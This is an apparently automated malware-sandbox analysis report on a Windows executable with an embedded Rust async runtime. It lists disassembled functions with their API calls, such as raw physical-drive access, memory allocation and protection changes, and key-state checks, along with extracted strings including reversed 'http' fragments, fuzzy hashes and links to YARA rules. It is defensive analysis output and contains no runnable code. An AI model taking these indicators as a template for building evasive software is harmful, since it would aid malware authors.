Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ClassCurrentPriorityProcess$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 2852580560-0
Opcode ID: 65ca535f78cc64cf9aea046d4da315f8869e2603256f29e9bdf8a66fe15ff912
Instruction ID: 09672a527c137082c86a82ddad234cb0f4bb7b68b2f76d9faa745a067a63ae63
Opcode Fuzzy Hash: 65ca535f78cc64cf9aea046d4da315f8869e2603256f29e9bdf8a66fe15ff912
Instruction Fuzzy Hash: 932108B6A00218BFE7109BA49C88AEE776CEB45748F5040B5F501E31D0D7789D868B7A

Uniqueness

Uniqueness Score: -1.00%

Function 025D430E Relevance: 9.9, Strings: 7, Instructions: 1197COMMON

Download Yara Rule

Strings

assertion failed: self.ref_count() > 0, xrefs: 025D5230
[internal exception] blocking task ran twice./registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\blocking\task.rs, xrefs: 025D52C9
attempt to divide by zero, xrefs: 025D521C
Invalid, xrefs: 025D528D
attempt to calculate the remainder with a divisor of zero/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\core\src\slice\sort.rs, xrefs: 025D51D6, 025D51EA
assertion failed: next.is_notified()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\task\state.rs, xrefs: 025D5208
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 025D5325

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Value$FreeHeap
String ID: Invalid$[internal exception] blocking task ran twice./registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\blocking\task.rs$assertion failed: next.is_notified()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\task\state.rs$assertion failed: self.ref_count() > 0$attempt to calculate the remainder with a divisor of zero/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\core\src\slice\sort.rs$attempt to divide by zero$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs
API String ID: 911738859-2440271640
Opcode ID: 46201807224a08e332187ef9d7b5f2ac6c20bb220eadb25c7c7c50eb4a90d572
Instruction ID: e4ba71ace724c479d32c84785a4fc5a3a26236bc14bc1b171ed3b58966fab296
Opcode Fuzzy Hash: 46201807224a08e332187ef9d7b5f2ac6c20bb220eadb25c7c7c50eb4a90d572
Instruction Fuzzy Hash: 2CB293706043418FDB24CF28C49076ABBE2BFC8314F58896DE89A9B355DB70E845CF96

Uniqueness

Uniqueness Score: -1.00%

Function 025A3001 Relevance: 9.3, APIs: 4, Strings: 2, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025A3E4D
HeapFree.KERNEL32(00000000,?), ref: 025A4331
HeapFree.KERNEL32(00000000,?), ref: 025A43AC

Strings

nown, xrefs: 025A435E
nown, xrefs: 025A30D3

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: nown$nown
API String ID: 3298025750-102062727
Opcode ID: 23fed63d7be421afa8db1cbc949aee9749d88e73cffd2b1c14694c141e5d4d6d
Instruction ID: 4f2b1b079cee191c4879d075fadfaa003d70cbeeec5403f1fa773fc210bea203
Opcode Fuzzy Hash: 23fed63d7be421afa8db1cbc949aee9749d88e73cffd2b1c14694c141e5d4d6d
Instruction Fuzzy Hash: AFC18A70908781DBD725CF28C451BAEFBF1BFC8304F108A5DE99997290D770A985CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00401660 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0040166A

Part of subcall function 004289E6: BeginPaint.USER32(?,?,?,?,0042292D), ref: 00428A19

SendMessageA.USER32(?,00000027,?,00000000), ref: 00401691
GetSystemMetrics.USER32(0000000B), ref: 0040169F
GetSystemMetrics.USER32(0000000C), ref: 004016A5
GetClientRect.USER32(?,?), ref: 004016B2
DrawIcon.USER32(?,?,?,?), ref: 004016EA

Part of subcall function 00428A41: EndPaint.USER32(?,?,?,?,00422953,?), ref: 00428A63

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: MetricsPaintSystem$BeginClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1182735605-0
Opcode ID: 9409bb8eba40420717aaa7fd0813d9b11a5f1be16e6c6ee5dd2cc23651046658
Instruction ID: afd92d8a271adbd764b9b009a381ddf531eb1141bad508cde5b1c4dc8f1a29e6
Opcode Fuzzy Hash: 9409bb8eba40420717aaa7fd0813d9b11a5f1be16e6c6ee5dd2cc23651046658
Instruction Fuzzy Hash: 081160B53043019FC224EF78DD89E5B77A9ABD8214F844A3DF586C3290DA74E80ACA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD1B Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 210timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041882A: EnterCriticalSection.KERNEL32(?,?,?,0041540F,00000004,0043A458,0000000C,00418764,76170A60,?,00419CD6,00419D7E,00415EBE,?,0043A478,00000060), ref: 00418852

GetTimeZoneInformation.KERNEL32(00000007,?,?,00000000,00000006,00000006,?,0041E2EE,00418484,?,?,0000003C,00000000,?,?,0000003C), ref: 0041DEAD
WideCharToMultiByte.KERNEL32(00000000,00000000,0044B4B4,000000FF,0000003F,00000000,?,?,00000000,00000006,00000006,?,0041E2EE,00418484,?), ref: 0041DF39
WideCharToMultiByte.KERNEL32(00000000,00000000,0044B508,000000FF,0000003F,00000000,?,?,00000000,00000006,00000006,?,0041E2EE,00418484,?), ref: 0041DF6B

Part of subcall function 00418796: LeaveCriticalSection.KERNEL32(?,004153AC,00000004,00415372,0043A448,0000000C,004153BE,000000E0,004153E9,?,004187CB,00000018,76170A60,?,?,00418843), ref: 004187A3

Strings

`LD, xrefs: 0041DE79, 0041DF76, 0041DF80
LD, xrefs: 0041DDCF, 0041DF44, 0041DF4E

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ByteCharCriticalMultiSectionWide$EnterInformationLeaveTimeZone
String ID: LD$`LD
API String ID: 2882866139-3452085429
Opcode ID: 3a1ce0b5cb7e44d9997b0b6c4af26172a2f4434b0736f3dcb0848fd7b5d39ad8
Instruction ID: 9d7b8684f2b8dc08f448c479742face438cddb3c02e48bd0b6daa426eba2df3e
Opcode Fuzzy Hash: 3a1ce0b5cb7e44d9997b0b6c4af26172a2f4434b0736f3dcb0848fd7b5d39ad8
Instruction Fuzzy Hash: AE6149B4D052449FD7209F29ACC1BA67BA8EB42355B19013FF050D72A1DB388DC2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00429E88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35librarystringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00000800,LOC), ref: 00429EAE
wsprintfA.USER32 ref: 00429EC2
LoadLibraryA.KERNEL32(?), ref: 00429ED2
GetLocaleInfoA.KERNEL32(00000800,00000003,00000800,00000004), ref: 00429EED

Strings

LOC, xrefs: 00429EA8

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: InfoLibraryLoadLocalelstrcpywsprintf
String ID: LOC
API String ID: 2301429115-519433814
Opcode ID: 55c4f7f6bd3d83fe0638668a92045e554d39542dee11adfa9b5a70be7e0f19cc
Instruction ID: ba9a9e911526f724f6bd684c18380571f0978ced8412fde1539fc42cd5b17a32
Opcode Fuzzy Hash: 55c4f7f6bd3d83fe0638668a92045e554d39542dee11adfa9b5a70be7e0f19cc
Instruction Fuzzy Hash: 4001FB7060020DEBCF10DF60ED4AEDA77B9AB04318F808071B915D6190DB749A4A9B94

Uniqueness

Uniqueness Score: -1.00%

Function 0257B090 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 429memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0257B173
HeapFree.KERNEL32(00000000,?), ref: 0257B50E

Strings

ptth, xrefs: 0257B370
qtth, xrefs: 0257B53D
://, xrefs: 0257B0E1, 0257B199

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: ://$ptth$qtth
API String ID: 3298025750-2468130592
Opcode ID: c548b7b91631d0245953ed493d751a32aeb56227ca8255df533831450b0c894a
Instruction ID: a244649d1debb81b000e5667021a160e3f0b9cb55b629e1690b9bfc2f263ad0b
Opcode Fuzzy Hash: c548b7b91631d0245953ed493d751a32aeb56227ca8255df533831450b0c894a
Instruction Fuzzy Hash: 2FF1A271A483029FD714CF28D48062AFBE2BFC4718F158A2EE4999B391D771DD45CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041E91D Relevance: 7.6, APIs: 5, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0041E937
GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0041E948
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0041E98E
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 0041E9BD
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0041E9E0

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: ff6dd850e0057acba23b8827cf18eb4f3ead2c0418c749c99c268d3db089d540
Instruction ID: 32a2ad3af116692e63516f6cd1c830bccfaa7a2d380c1cd808f7f1f6e83c7fb5
Opcode Fuzzy Hash: ff6dd850e0057acba23b8827cf18eb4f3ead2c0418c749c99c268d3db089d540
Instruction Fuzzy Hash: 0A21E7B6B10209EBDB20CBB5DC45FFE77B8EB08345F540076EA02E3281D6789D858798

Uniqueness

Uniqueness Score: -1.00%

Function 0041C882 Relevance: 7.5, APIs: 5, Instructions: 27timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0041C88D
GetCurrentProcessId.KERNEL32 ref: 0041C899
GetCurrentThreadId.KERNEL32 ref: 0041C8A1
GetTickCount.KERNEL32 ref: 0041C8A9
QueryPerformanceCounter.KERNEL32(?), ref: 0041C8B5

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: b41a0e1cd665821b5796c0b158887a0f5ecc602c8a934c1cc93d59222d264265
Instruction ID: 5f89f51c378ddf9a993613850ddd4fdb9b59cca54c9a044c803801dbacbd09c9
Opcode Fuzzy Hash: b41a0e1cd665821b5796c0b158887a0f5ecc602c8a934c1cc93d59222d264265
Instruction Fuzzy Hash: 3DF07A76D00128DBCB20ABF4EC4859EB7B8FF49255BC24571E801E7160DB74A9558B98

Uniqueness

Uniqueness Score: -1.00%

Function 00409F46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00409F80
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00002710,?,00000000), ref: 00409FD6
CloseHandle.KERNEL32(00000000), ref: 0040A044

Strings

\\.\PhysicalDrive%d, xrefs: 00409F61

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: \\.\PhysicalDrive%d
API String ID: 33631002-2935326385
Opcode ID: 612e0084ea0f5b9f7467d435850855356c6e55c0f1ce1109650d98a2500b2ad0
Instruction ID: 827c4b2f77838a6cf85fa88315384c3a64bdadd1ed3bfbc8410d8de3e49c6994
Opcode Fuzzy Hash: 612e0084ea0f5b9f7467d435850855356c6e55c0f1ce1109650d98a2500b2ad0
Instruction Fuzzy Hash: 1F21ACB290421DAEE711EBA59C85EFF737CEB45318F0404BBF515E2081E67C9E844B69

Uniqueness

Uniqueness Score: -1.00%

Function 025A53DD Relevance: 6.6, APIs: 2, Strings: 2, Instructions: 605memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025A585A
HeapFree.KERNEL32(00000000,?), ref: 025A588B

Strings

assertion failed: secondary_table_len <= 0x7ff, xrefs: 025A5C5C
Invalid, xrefs: 025A5C48

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: Invalid$assertion failed: secondary_table_len <= 0x7ff
API String ID: 3298025750-1198909562
Opcode ID: 9654291d7c632642ddf79b6f0a64712eff233336baec77bf083ddf7e44bd2aa0
Instruction ID: c4ba3c13f6d4bb33f07ce4c3927e3d0e94d8baa3f1cb4a9dff29fff47ebdde31
Opcode Fuzzy Hash: 9654291d7c632642ddf79b6f0a64712eff233336baec77bf083ddf7e44bd2aa0
Instruction Fuzzy Hash: 0F327C71E147914BE3258F28C891BBEB7E1FFC8300F558A2DE5C597281E734A885CB89

Uniqueness

Uniqueness Score: -1.00%

Function 025B1180 Relevance: 6.5, Strings: 5, Instructions: 252COMMON

Download Yara Rule

Strings

_, xrefs: 025B1315
{invalid syntax}{recursion limit reached}?'for<> , ::{closureshim# as mut const ; dyn + unsafe extern ", xrefs: 025B13A1
E, xrefs: 025B12B8
_, xrefs: 025B11BE
G, xrefs: 025B11A9

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: E$G$_$_${invalid syntax}{recursion limit reached}?'for<> , ::{closureshim# as mut const ; dyn + unsafe extern "
API String ID: 0-1976165044
Opcode ID: 95c63963ce4204f5887e8df1a3504097efe7876923886ce1ea095cb2879404dc
Instruction ID: 0af72eed14068cbabcf43c3d203b7b57fbb53d5e08aadcac68c0eb141e1bfacd
Opcode Fuzzy Hash: 95c63963ce4204f5887e8df1a3504097efe7876923886ce1ea095cb2879404dc
Instruction Fuzzy Hash: C381F270704F014BEBAA8E65D8B03BBB7D2BF81748F14C83CC99E87B92E721D4458649

Uniqueness

Uniqueness Score: -1.00%

Function 025811A0 Relevance: 6.5, APIs: 2, Strings: 2, Instructions: 475memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02572678: HeapFree.KERNEL32(00000000,?,025812D5), ref: 0257269A

HeapFree.KERNEL32(00000000,?), ref: 02581587
HeapFree.KERNEL32(00000000,?,?,?,?,?,025BC142), ref: 02581775

Strings

`async fn` resumed after completion, xrefs: 025816EA, 025816FE
assertion failed: prev/registry\src\index.crates.io-1cd66030c949c28d\futures-util-0.3.30\src\stream\futures_unordered\mod.rs, xrefs: 025816D1

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: `async fn` resumed after completion$assertion failed: prev/registry\src\index.crates.io-1cd66030c949c28d\futures-util-0.3.30\src\stream\futures_unordered\mod.rs
API String ID: 3298025750-1060740151
Opcode ID: 58467ffea845e365a1c9344603558c3a38c68ba689d827d2afe0c3fbeb565ae0
Instruction ID: 1438d947de6daa15c515ade3fcbfc628c800df7ea83c9b2b8ccec3080b274f07
Opcode Fuzzy Hash: 58467ffea845e365a1c9344603558c3a38c68ba689d827d2afe0c3fbeb565ae0
Instruction Fuzzy Hash: F812BF70604B418FC714EF19C480B6ABBE1BF84314F19C95DE99AAB761DB71E842CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00424B38 Relevance: 6.0, APIs: 4, Instructions: 41keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042663C: GetWindowLongA.USER32(?,000000F0), ref: 00426648

GetKeyState.USER32(00000010), ref: 00424B5C
GetKeyState.USER32(00000011), ref: 00424B65
GetKeyState.USER32(00000012), ref: 00424B6E
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 00424B84

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 6dc76eaeebcb73aca116473ecfa999c7a0d89d7e04904cc6fc94326bd96b1de0
Instruction ID: f4eab9a2a9dbeb830affcc38af44a6143a2cea5949d8d34eabc04b707fed75f8
Opcode Fuzzy Hash: 6dc76eaeebcb73aca116473ecfa999c7a0d89d7e04904cc6fc94326bd96b1de0
Instruction Fuzzy Hash: D2F0E93634036A55D52032B96C05FB65528CFC0BB4FC1063AB703EA1D6C998D807057C

Uniqueness

Uniqueness Score: -1.00%

Function 00423119 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

EnableWindow.USER32(00000000,00000001), ref: 0042312C
GetActiveWindow.USER32 ref: 00423137
SetActiveWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00423145
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00423161

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Active$EnableFreeResource
String ID:
API String ID: 3751187028-0
Opcode ID: cf1dc8f164079878ce4882cf31a04c95128d9af479deed743c0b8a2d04076335
Instruction ID: ca44568af34e6e7f10c41bee158ea285ab5cab5ae77f8efcc955b62aa56a5184
Opcode Fuzzy Hash: cf1dc8f164079878ce4882cf31a04c95128d9af479deed743c0b8a2d04076335
Instruction Fuzzy Hash: C2F0AF35B00655CFCF20EFA4E9455AEBBB1FF08712F90457AE142B22A0C7795E06CE08

Uniqueness

Uniqueness Score: -1.00%

Function 025DE0C8 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,025DE1E8,02613D44), ref: 025DE0CD
UnhandledExceptionFilter.KERNEL32(025DE1E8,?,025DE1E8,02613D44), ref: 025DE0D6
GetCurrentProcess.KERNEL32(C0000409,?,025DE1E8,02613D44), ref: 025DE0E1
TerminateProcess.KERNEL32(00000000,?,025DE1E8,02613D44), ref: 025DE0E8

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 3294e27e112322ae897c0baf94352aa68a3838cb2f4b0b047ace22c56050d541
Instruction ID: e4dc0cd84a24f916026241bb3045911045fb576f6df082518c63e6b1b8fb9303
Opcode Fuzzy Hash: 3294e27e112322ae897c0baf94352aa68a3838cb2f4b0b047ace22c56050d541
Instruction Fuzzy Hash: F2D002B2885204FFDA802FE1E80DE597F2DEB09756F018810FB09C5451DB715465AF6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CFF1 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID:
String ID:
